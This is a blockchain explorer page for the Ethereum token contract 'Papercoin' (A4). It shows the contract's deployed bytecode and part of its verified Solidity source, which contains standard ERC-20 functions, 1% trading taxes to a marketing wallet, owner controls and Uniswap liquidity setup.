Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0x53dd45Dc91b73c9858401798dc204CEad02190FB
Balance 0 ETH
Nonce 1
Code Size 13534 bytes
Indexed Transactions 0 (1 on-chain, 1.3% indexed)
External Etherscan · Sourcify

Contract Bytecode

13534 bytes
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102bb578063dd62ed3e146102f8578063e8078d9414610335578063f2fde38b1461033f576100e8565b8063715018a61461024e5780638da5cb5b1461026557806395d89b4114610290576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd578063368f4800146101e857806370a0823114610211576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610368565b60405161010f91906125c3565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a919061267e565b6103a5565b60405161014c91906126d9565b60405180910390f35b34801561016157600080fd5b5061016a610497565b6040516101779190612703565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a2919061271e565b6104ba565b6040516101b491906126d9565b60405180910390f35b3480156101c957600080fd5b506101d26106c4565b6040516101df919061278d565b60405180910390f35b3480156101f457600080fd5b5061020f600480360381019061020a91906127e2565b6106cd565b005b34801561021d57600080fd5b5061023860048036038101906102339190612822565b610889565b6040516102459190612703565b60405180910390f35b34801561025a57600080fd5b506102636108d2565b005b34801561027157600080fd5b5061027a6109db565b604051610287919061285e565b60405180910390f35b34801561029c57600080fd5b506102a5610a04565b6040516102b291906125c3565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd919061267e565b610a41565b6040516102ef91906126d9565b60405180910390f35b34801561030457600080fd5b5061031f600480360381019061031a9190612879565b610a9e565b60405161032c9190612703565b60405180910390f35b61033d610b25565b005b34801561034b57600080fd5b50610366600480360381019061036191906128f7565b611212565b005b60606040518060400160405280600981526020017f5061706572636f696e0000000000000000000000000000000000000000000000815250905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104859190612703565b60405180910390a36001905092915050565b60006009600a6104a79190612a86565b620f42406104b59190612ad1565b905090565b60006104c58461131a565b610504576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fb90612b5f565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146106b05781600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461062f9190612b7f565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6106bb8484846113f5565b90509392505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461075b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075290612bff565b60405180910390fd5b600060016103e88461ffff166009600a6107759190612a86565b620f42406107839190612ad1565b61078d9190612ad1565b6107979190612c4e565b6107a19190612c7f565b90506002548110156107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107df90612cff565b60405180910390fd5b80600281905550600060016103e88461ffff166009600a6108099190612a86565b620f42406108179190612ad1565b6108219190612ad1565b61082b9190612c4e565b6108359190612c7f565b905060035481101561087c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087390612d6b565b60405180910390fd5b8060038190555050505050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610960576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095790612bff565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516109d1919061285e565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4134000000000000000000000000000000000000000000000000000000000000815250905090565b6000610a4c3361131a565b610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290612b5f565b60405180910390fd5b610a963384846113f5565b905092915050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612bff565b60405180910390fd5b6001601260016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5690612dd7565b60405180910390fd5b601260009054906101000a900460ff1615610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690612e43565b60405180910390fd5b6000341180610cbe5750600047115b610cfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf490612eaf565b60405180910390fd5b6000600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411610d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7690612f1b565b60405180910390fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e109190612f50565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ebd9190612f50565b6040518363ffffffff1660e01b8152600401610eda929190612f7d565b6020604051808303816000875af1158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d9190612f50565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fa8600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054476000611981565b600654600a6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461101b9190612b7f565b925050819055506000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516110ed9190612fed565b6000604051808303816000865af19150503d806000811461112a576040519150601f19603f3d011682016040523d82523d6000602084013e61112f565b606091505b5050905080611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a90613050565b60405180910390fd5b8060116000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506111f4611a6f565b506000601260016101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129790612bff565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861638160405161130f91906130cf565b60405180910390a150565b60008060009050601260009054906101000a900460ff161561133f57600190506113ec565b600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113e15750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113eb57600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145c90613136565b60405180910390fd5b601260009054906101000a900460ff1661155b57600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561151b5750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61155a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155190612b5f565b60405180910390fd5b5b601260019054906101000a900460ff161580156115c15750601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156115cf576115ce611b57565b5b600954431080156115e257506007544310155b80156116375750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156116ab573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146116aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a1906131a2565b60405180910390fd5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561171357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561176b575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117bb5761177b848484611c77565b6117ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b19061320e565b60405180910390fd5b5b60006117c8858585611e0e565b9050600081846117d89190612b7f565b905083600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118259190612b7f565b600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816006600082825461187a9190612c7f565b9250508190555080600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cc9190612c7f565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161196c9190612703565b60405180910390a36001925050509392505050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081156119b357600090505b6119bc846120be565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b8152600401611a2396959493929190613269565b60606040518083038185885af1158015611a41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a6691906132df565b50505050505050565b606460026009600a611a819190612a86565b620f4240611a8f9190612ad1565b611a999190612ad1565b611aa39190612c4e565b600281905550606460026009600a611abb9190612a86565b620f4240611ac99190612ad1565b611ad39190612ad1565b611add9190612c4e565b6003819055506001601260006101000a81548160ff02191690831515021790555043600781905550600860019054906101000a900460ff1660ff16600860009054906101000a900460ff1660ff16600754600954611b3b9190612c7f565b611b459190612c7f565b611b4f9190612c7f565b600981905550565b6001601260016101000a81548160ff021916908315150217905550600060065490506004548110158015611b975750601260009054906101000a900460ff165b15611c59576005548110611bab5760055490505b60008190506009600a611bbe9190612a86565b811115611c3e5781600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c149190612c7f565b92505081905550611c24816122a8565b8160066000828254611c369190612b7f565b925050819055505b60004790506000811115611c5657611c55816124c7565b5b50505b506000601260016101000a81548160ff021916908315150217905550565b60008060019050601260009054906101000a900460ff168015611ce45750600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d3a5750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e0357600254831115611d525760009050611e02565b601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611df7575060035483600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df59190612c7f565b115b15611e0157600090505b5b5b809150509392505050565b600080601260009054906101000a900460ff161580611e765750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611eca5750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ed857600090506120b3565b601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561203257600860019054906101000a900460ff1660ff16600860009054906101000a900460ff1660ff16600754611f5d9190612c7f565b611f679190612c7f565b4310611f9e576064600060149054906101000a900460ff1660ff1684611f8d9190612ad1565b611f979190612c4e565b905061202d565b600860009054906101000a900460ff1660ff16600754611fbe9190612c7f565b4310611ff5576064600860039054906101000a900460ff1660ff1684611fe49190612ad1565b611fee9190612c4e565b905061202c565b600754431061202b576064600860029054906101000a900460ff1660ff168461201e9190612ad1565b6120289190612c4e565b90505b5b5b6120b2565b601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156120b1576064600060159054906101000a900460ff1660ff16846120a49190612ad1565b6120ae9190612c4e565b90505b5b5b809150509392505050565b80600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156122a5577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60405161229c9190612703565b60405180910390a35b50565b6122b1816120be565b6000600267ffffffffffffffff8111156122ce576122cd613332565b5b6040519080825280602002602001820160405280156122fc5781602001602082028036833780820191505090505b509050308160008151811061231457612313613361565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123df9190612f50565b816001815181106123f3576123f2613361565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161249195949392919061344e565b600060405180830381600087803b1580156124ab57600080fd5b505af11580156124bf573d6000803e3d6000fd5b505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561252f573d6000803e3d6000fd5b5050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561256d578082015181840152602081019050612552565b60008484015250505050565b6000601f19601f8301169050919050565b600061259582612533565b61259f818561253e565b93506125af81856020860161254f565b6125b881612579565b840191505092915050565b600060208201905081810360008301526125dd818461258a565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612615826125ea565b9050919050565b6126258161260a565b811461263057600080fd5b50565b6000813590506126428161261c565b92915050565b6000819050919050565b61265b81612648565b811461266657600080fd5b50565b60008135905061267881612652565b92915050565b60008060408385031215612695576126946125e5565b5b60006126a385828601612633565b92505060206126b485828601612669565b9150509250929050565b60008115159050919050565b6126d3816126be565b82525050565b60006020820190506126ee60008301846126ca565b92915050565b6126fd81612648565b82525050565b600060208201905061271860008301846126f4565b92915050565b600080600060608486031215612737576127366125e5565b5b600061274586828701612633565b935050602061275686828701612633565b925050604061276786828701612669565b9150509250925092565b600060ff82169050919050565b61278781612771565b82525050565b60006020820190506127a2600083018461277e565b92915050565b600061ffff82169050919050565b6127bf816127a8565b81146127ca57600080fd5b50565b6000813590506127dc816127b6565b92915050565b600080604083850312156127f9576127f86125e5565b5b6000612807858286016127cd565b9250506020612818858286016127cd565b9150509250929050565b600060208284031215612838576128376125e5565b5b600061284684828501612633565b91505092915050565b6128588161260a565b82525050565b6000602082019050612873600083018461284f565b92915050565b600080604083850312156128905761288f6125e5565b5b600061289e85828601612633565b92505060206128af85828601612633565b9150509250929050565b60006128c4826125ea565b9050919050565b6128d4816128b9565b81146128df57600080fd5b50565b6000813590506128f1816128cb565b92915050565b60006020828403121561290d5761290c6125e5565b5b600061291b848285016128e2565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156129aa5780860481111561298657612985612924565b5b60018516156129955780820291505b80810290506129a385612953565b945061296a565b94509492505050565b6000826129c35760019050612a7f565b816129d15760009050612a7f565b81600181146129e757600281146129f157612a20565b6001915050612a7f565b60ff841115612a0357612a02612924565b5b8360020a915084821115612a1a57612a19612924565b5b50612a7f565b5060208310610133831016604e8410600b8410161715612a555782820a905083811115612a5057612a4f612924565b5b612a7f565b612a628484846001612960565b92509050818404811115612a7957612a78612924565b5b81810290505b9392505050565b6000612a9182612648565b9150612a9c83612771565b9250612ac97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846129b3565b905092915050565b6000612adc82612648565b9150612ae783612648565b9250828202612af581612648565b91508282048414831517612b0c57612b0b612924565b5b5092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000612b4960108361253e565b9150612b5482612b13565b602082019050919050565b60006020820190508181036000830152612b7881612b3c565b9050919050565b6000612b8a82612648565b9150612b9583612648565b9250828203905081811115612bad57612bac612924565b5b92915050565b7f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000600082015250565b6000612be960188361253e565b9150612bf482612bb3565b602082019050919050565b60006020820190508181036000830152612c1881612bdc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612c5982612648565b9150612c6483612648565b925082612c7457612c73612c1f565b5b828204905092915050565b6000612c8a82612648565b9150612c9583612648565b9250828201905080821115612cad57612cac612924565b5b92915050565b7f747820746f6f206c6f7700000000000000000000000000000000000000000000600082015250565b6000612ce9600a8361253e565b9150612cf482612cb3565b602082019050919050565b60006020820190508181036000830152612d1881612cdc565b9050919050565b7f77616c6c657420746f6f206c6f77000000000000000000000000000000000000600082015250565b6000612d55600e8361253e565b9150612d6082612d1f565b602082019050919050565b60006020820190508181036000830152612d8481612d48565b9050919050565b7f4c50206372656174656400000000000000000000000000000000000000000000600082015250565b6000612dc1600a8361253e565b9150612dcc82612d8b565b602082019050919050565b60006020820190508181036000830152612df081612db4565b9050919050565b7f74726164696e67206f70656e0000000000000000000000000000000000000000600082015250565b6000612e2d600c8361253e565b9150612e3882612df7565b602082019050919050565b60006020820190508181036000830152612e5c81612e20565b9050919050565b7f4e6f2045544820696e2063612f6d736700000000000000000000000000000000600082015250565b6000612e9960108361253e565b9150612ea482612e63565b602082019050919050565b60006020820190508181036000830152612ec881612e8c565b9050919050565b7f4e6f20746f6b656e7320696e2063610000000000000000000000000000000000600082015250565b6000612f05600f8361253e565b9150612f1082612ecf565b602082019050919050565b60006020820190508181036000830152612f3481612ef8565b9050919050565b600081519050612f4a8161261c565b92915050565b600060208284031215612f6657612f656125e5565b5b6000612f7484828501612f3b565b91505092915050565b6000604082019050612f92600083018561284f565b612f9f602083018461284f565b9392505050565b600081519050919050565b600081905092915050565b6000612fc782612fa6565b612fd18185612fb1565b9350612fe181856020860161254f565b80840191505092915050565b6000612ff98284612fbc565b915081905092915050565b7f4661696c656420616464696e67206c7000000000000000000000000000000000600082015250565b600061303a60108361253e565b915061304582613004565b602082019050919050565b600060208201905081810360008301526130698161302d565b9050919050565b6000819050919050565b600061309561309061308b846125ea565b613070565b6125ea565b9050919050565b60006130a78261307a565b9050919050565b60006130b98261309c565b9050919050565b6130c9816130ae565b82525050565b60006020820190506130e460008301846130c0565b92915050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b6000613120601d8361253e565b915061312b826130ea565b602082019050919050565b6000602082019050818103600083015261314f81613113565b9050919050565b7f4d455620626c6f636b6564000000000000000000000000000000000000000000600082015250565b600061318c600b8361253e565b915061319782613156565b602082019050919050565b600060208201905081810360008301526131bb8161317f565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b60006131f860118361253e565b9150613203826131c2565b602082019050919050565b60006020820190508181036000830152613227816131eb565b9050919050565b6000819050919050565b600061325361324e6132498461322e565b613070565b612648565b9050919050565b61326381613238565b82525050565b600060c08201905061327e600083018961284f565b61328b60208301886126f4565b613298604083018761325a565b6132a5606083018661325a565b6132b2608083018561284f565b6132bf60a08301846126f4565b979650505050505050565b6000815190506132d981612652565b92915050565b6000806000606084860312156132f8576132f76125e5565b5b6000613306868287016132ca565b9350506020613317868287016132ca565b9250506040613328868287016132ca565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133c58161260a565b82525050565b60006133d783836133bc565b60208301905092915050565b6000602082019050919050565b60006133fb82613390565b613405818561339b565b9350613410836133ac565b8060005b8381101561344157815161342888826133cb565b9750613433836133e3565b925050600181019050613414565b5085935050505092915050565b600060a08201905061346360008301886126f4565b613470602083018761325a565b818103604083015261348281866133f0565b9050613491606083018561284f565b61349e60808301846126f4565b969550505050505056fea26469706673582212203136810eeed0e976dcf9d9e1d80484d468856c307a23980e7224f173cafee2ca64736f6c63430008130033

Verified Source Code Full Match

Compiler: v0.8.19+commit.7dd6d404 EVM: paris Optimization: No
PAPER.sol 276 lines
//SPDX-License-Identifier: MIT

/*

██████╗░░█████╗░██████╗░███████╗██████╗░░█████╗░░█████╗░██╗███╗░░██╗  ░█████╗░░░██╗██╗
██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗██╔══██╗██╔══██╗██║████╗░██║  ██╔══██╗░██╔╝██║
██████╔╝███████║██████╔╝█████╗░░██████╔╝██║░░╚═╝██║░░██║██║██╔██╗██║  ███████║██╔╝░██║
██╔═══╝░██╔══██║██╔═══╝░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██║██║╚████║  ██╔══██║███████║
██║░░░░░██║░░██║██║░░░░░███████╗██║░░██║╚█████╔╝╚█████╔╝██║██║░╚███║  ██║░░██║╚════██║
╚═╝░░░░░╚═╝░░╚═╝╚═╝░░░░░╚══════╝╚═╝░░╚═╝░╚════╝░░╚════╝░╚═╝╚═╝░░╚══╝  ╚═╝░░╚═╝░░░░░╚═╝

https://papercoin.vip
https://t.me/PaperCoinETH
https://twitter.com/PaperCoinETH


*/

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address __owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed _owner, address indexed spender, uint256 value);
}

interface IUniswapV2Factory {    
    function createPair(address tokenA, address tokenB) external returns (address pair); 
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

abstract contract Auth {
    address internal _owner;
    constructor(address creatorOwner) { 
        _owner = creatorOwner; 
    }
    modifier onlyOwner() { 
        require(msg.sender == _owner, "Only owner can call this");   _; 
    }
    function owner() public view returns (address) { return _owner;   }
    function transferOwnership(address payable newOwner) external onlyOwner { 
        _owner = newOwner; emit OwnershipTransferred(newOwner); 
    }
    function renounceOwnership() external onlyOwner { 
        _owner = address(0); emit OwnershipTransferred(address(0)); 
    }
    event OwnershipTransferred(address _owner);
}

contract PAPER is IERC20, Auth {
    
    uint8 private constant _decimals       = 9;
    uint256 private constant _totalSupply  = 1_000_000 * (10**_decimals);
    string private constant _name          = "Papercoin";
    string private  constant _symbol       = "A4";

    uint8 private _BuyTaxes  = 1;
    uint8 private _SellTaxes = 1;

    address payable private _walletMarketing = payable(0xb430e96b3A6180cB38b206E3CdF74f5E2afA3A14); 
    uint256 private _maxTxAmount = _totalSupply; 
    uint256 private _maxWalletAmount = _totalSupply;
    uint256 private _taxSwapMin = _totalSupply * 1 / 10000;
    uint256 private _taxSwapMax = _totalSupply * 9 / 1000;
    uint256 private _taxSwapThreshold = _taxSwapMin * 7000;

    uint256 private _buyCount;
    uint8 private startTradingBlock1 = 0;
    uint8 private startTradingBlock2 = 0;
    uint8 private launchBlock1 = 0;
    uint8 private launchBlock2 = 0;
    uint256 private _mevProtectionBlocks = 2;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFees;
    mapping (address => bool) private _noLimits;

    address private lpowner;
    address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress);
    address private _primaryLP;
    mapping (address => bool) private _isLP;

    bool private _tradingOpen;

    bool private _inTaxSwap = false;
    modifier lockTaxSwap { 
        _inTaxSwap = true; 
        _; 
        _inTaxSwap = false; 
    }

    event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount);

    constructor() Auth(msg.sender) {
        lpowner = msg.sender;

        uint256 tokenReserve   = _totalSupply * 5 / 100;
        
        _balances[address(this)] = _totalSupply - tokenReserve;
        emit Transfer(address(0), address(this), _balances[address(this)]);

        _balances[_owner] = tokenReserve;
        emit Transfer(address(0), _owner, _balances[_owner]);

        _noFees[_owner] = true;
        _noFees[address(this)] = true;
        _noFees[_swapRouterAddress] = true;
        _noFees[_walletMarketing] = true;
        _noLimits[_owner] = true;
        _noLimits[address(this)] = true;
        _noLimits[_swapRouterAddress] = true;
        _noLimits[_walletMarketing] = true;
    }

    receive() external payable {}
    
    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spendr, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spendr] = amount;
        emit Approval(msg.sender, spendr, amount);
        return true;
    }

